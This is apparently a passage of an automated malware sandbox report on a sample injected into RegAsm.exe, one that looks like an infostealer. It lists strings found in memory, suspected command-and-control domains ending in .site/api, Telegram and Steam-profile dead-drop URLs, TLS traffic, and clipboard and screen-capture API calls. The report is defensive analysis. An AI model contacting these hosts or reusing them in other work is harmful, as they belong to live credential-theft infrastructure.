Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Source: RegAsm.exe, 00000003.00000002.2192823083.0000000000EFA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2638069284.00000000012FC000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2657383882.0000000027462000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: RegAsm.exe, 00000003.00000002.2192823083.0000000000EFA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2638069284.00000000012FC000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2657383882.0000000027462000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://delaylacedmn.site/api
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://famikyjdiag.site/api
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: RegAsm.exe, 00000012.00000002.2657383882.0000000027462000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: RegAsm.exe, 00000003.00000002.2225364836.0000000028508000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2241728608.00000000402BE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2220429014.000000002259A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2234052800.00000000343E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mozilla.org0/
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000C5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://possiwreeste.site/api
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://possiwreeste.site/com/pk
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/0
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/ion1
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900J2
Source: file.exe, 00000000.00000002.1675055595.00000000038E5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, RegAsm.exe, 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, DGHIECGCBK.exe, 0000000A.00000002.2161789576.00000000042BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869
Source: file.exe, 00000000.00000002.1675055595.00000000038E5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, DGHIECGCBK.exe, 0000000A.00000002.2161789576.00000000042BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869u55uMozilla/5.0
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/x
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000C9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com:443/profiles/76561199724331900
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cd7fb65801182a5f
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: RegAsm.exe, 00000003.00000002.2200030737.000000001BE0D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2633856552.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: RegAsm.exe, 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2200030737.000000001BE0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: RegAsm.exe, 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016ost.exe
Source: RegAsm.exe, 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2200030737.000000001BE0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: RegAsm.exe, 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17rer.exe
Source: RegAsm.exe, 00000003.00000002.2192823083.0000000000D60000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.2471886617.0000000001451000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/
Source: RegAsm.exe, 0000000E.00000002.2471886617.0000000001451000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/3
Source: file.exe, 00000000.00000002.1675055595.00000000038E5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, RegAsm.exe, 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, DGHIECGCBK.exe, 0000000A.00000002.2161789576.00000000042BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t.me/ae5ed
Source: RegAsm.exe, 0000000E.00000002.2471886617.0000000001451000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.2469818698.0000000000490000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/jamsemlg
Source: RegAsm.exe, 00000003.00000002.2192823083.0000000000D60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/jamsemlg8
Source: file.exe, 00000000.00000002.1675055595.00000000038E5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, DGHIECGCBK.exe, 0000000A.00000002.2161789576.00000000042BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t.me/jamsemlgfjnsdajbgfq12gdhttps://steamcommunity.com/profiles/76561199780418869u55uhttps:/
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://underlinemdsj.site/i
Source: RegAsm.exe, 0000000E.00000002.2471886617.000000000146D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web.telegram.o
Source: RegAsm.exe, 00000003.00000002.2192823083.0000000000D90000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.2471886617.0000000001451000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web.telegram.org
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://writekdmsnu.site/
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://writekdmsnu.site/H
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://writekdmsnu.site/api
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://writekdmsnu.site/apii
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://writekdmsnu.site/p
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://writekdmsnu.site/y9
Source: RegAsm.exe, 00000003.00000002.2192823083.0000000000EFA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2638069284.00000000012FC000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2657383882.0000000027462000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: RegAsm.exe, 00000003.00000002.2225364836.0000000028508000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2241728608.00000000402BE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2220429014.000000002259A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2234052800.00000000343E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: RegAsm.exe, 00000003.00000002.2192823083.0000000000EFA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2638069284.00000000012FC000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2657383882.0000000027462000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: RegAsm.exe, 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2200030737.000000001BE0D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2633856552.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: RegAsm.exe, 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/jYzKTmOdip.exe
Source: RegAsm.exe, 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/ost.exe
Source: RegAsm.exe, 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2200030737.000000001BE0D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2633856552.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: RegAsm.exe, 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/edistributable
Source: RegAsm.exe, 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2200030737.000000001BE0D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2633856552.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: RegAsm.exe, 00000012.00000002.2633856552.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Display
Source: RegAsm.exe, 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/vchost.exe
Source: RegAsm.exe, 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2200030737.000000001BE0D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2633856552.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: RegAsm.exe, 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2200030737.000000001BE0D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2633856552.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: RegAsm.exe, 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/chost.exe
Source: RegAsm.exe, 00000012.00000002.2633856552.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: RegAsm.exe, 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/ip.exe
Source: RegAsm.exe, 00000012.00000002.2633856552.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/vRm9ybXxwbmxjY21vamNtZW9obHBnZ21mbmJiaWFwa21ibGlvYnwxfDB8MHx
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52538
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52549
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52539
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52536
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52547
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52537
Source: unknown	Network traffic detected: HTTP traffic on port 52539 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52546 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52547 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52549 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52550 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52552
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52550
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52551
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52546
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52533
Source: unknown	Network traffic detected: HTTP traffic on port 52533 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52536 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52551 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52552 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52537 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52538 -> 443

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.4:52533 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.205.129:443 -> 192.168.2.4:52536 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.205.129:443 -> 192.168.2.4:52537 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.1.169:443 -> 192.168.2.4:52538 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:52539 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.205.129:443 -> 192.168.2.4:52547 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.4:52546 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.205.129:443 -> 192.168.2.4:52549 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.1.169:443 -> 192.168.2.4:52550 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.4:52552 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 9_2_00439D70 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

9_2_00439D70

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 9_2_00439D70 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

9_2_00439D70

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00411F55 CreateStreamOnHGlobal,GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GetHGlobalFromStream,GlobalLock,GlobalSize,SelectObject,DeleteObject,DeleteObject,ReleaseDC,CloseWindow,

3_2_00411F55

System Summary

.NET source code contains very large array initializations

Source: file.exe, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 394240
Source: IDGDAAKFHI.exe.3.dr, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 360448
Source: 66fa2b049020f_ldnf[1].exe.3.dr, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 360448
Source: DGHIECGCBK.exe.3.dr, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 394240
Source: 66fa2afc5abea_vasd[1].exe.3.dr, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 394240
Source: KECFIDGCBF.exe.3.dr, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 314368
Source: 66fa2ae906657_snd[1].exe.3.dr, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 314368

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040145B GetCurrentProcess,NtQueryInformationProcess,	3_2_0040145B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C11ED10 malloc,NtFlushVirtualMemory,memset,memset,memset,memset,memset,memcpy,free,memset,memset,memcpy,memset,memset,memset,memset,memset,	3_2_6C11ED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C15B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	3_2_6C15B700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C15B8C0 rand_s,NtQueryVirtualMemory,	3_2_6C15B8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C15B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	3_2_6C15B910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0FF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	3_2_6C0FF280

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041C5BC	3_2_0041C5BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041B85C	3_2_0041B85C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042DA83	3_2_0042DA83
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042D313	3_2_0042D313
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00419654	3_2_00419654
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042DE6B	3_2_0042DE6B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042CE7E	3_2_0042CE7E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042D6B1	3_2_0042D6B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0F35A0	3_2_6C0F35A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C135C10	3_2_6C135C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C142C10	3_2_6C142C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C16AC00	3_2_6C16AC00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C16542B	3_2_6C16542B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C16545C	3_2_6C16545C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C105440	3_2_6C105440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C106C80	3_2_6C106C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1534A0	3_2_6C1534A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C15C4A0	3_2_6C15C4A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C11D4D0	3_2_6C11D4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1064C0	3_2_6C1064C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C136CF0	3_2_6C136CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0FD4E0	3_2_6C0FD4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C120512	3_2_6C120512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C11ED10	3_2_6C11ED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C10FD00	3_2_6C10FD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C130DD0	3_2_6C130DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1585F0	3_2_6C1585F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C137E10	3_2_6C137E10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C145600	3_2_6C145600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C159E30	3_2_6C159E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C119E50	3_2_6C119E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C133E50	3_2_6C133E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C114640	3_2_6C114640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C142E4E	3_2_6C142E4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C166E63	3_2_6C166E63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0FC670	3_2_6C0FC670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C115E90	3_2_6C115E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C15E680	3_2_6C15E680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C154EA0	3_2_6C154EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C10FEF0	3_2_6C10FEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1676E3	3_2_6C1676E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0FBEF0	3_2_6C0FBEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C137710	3_2_6C137710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C109F00	3_2_6C109F00
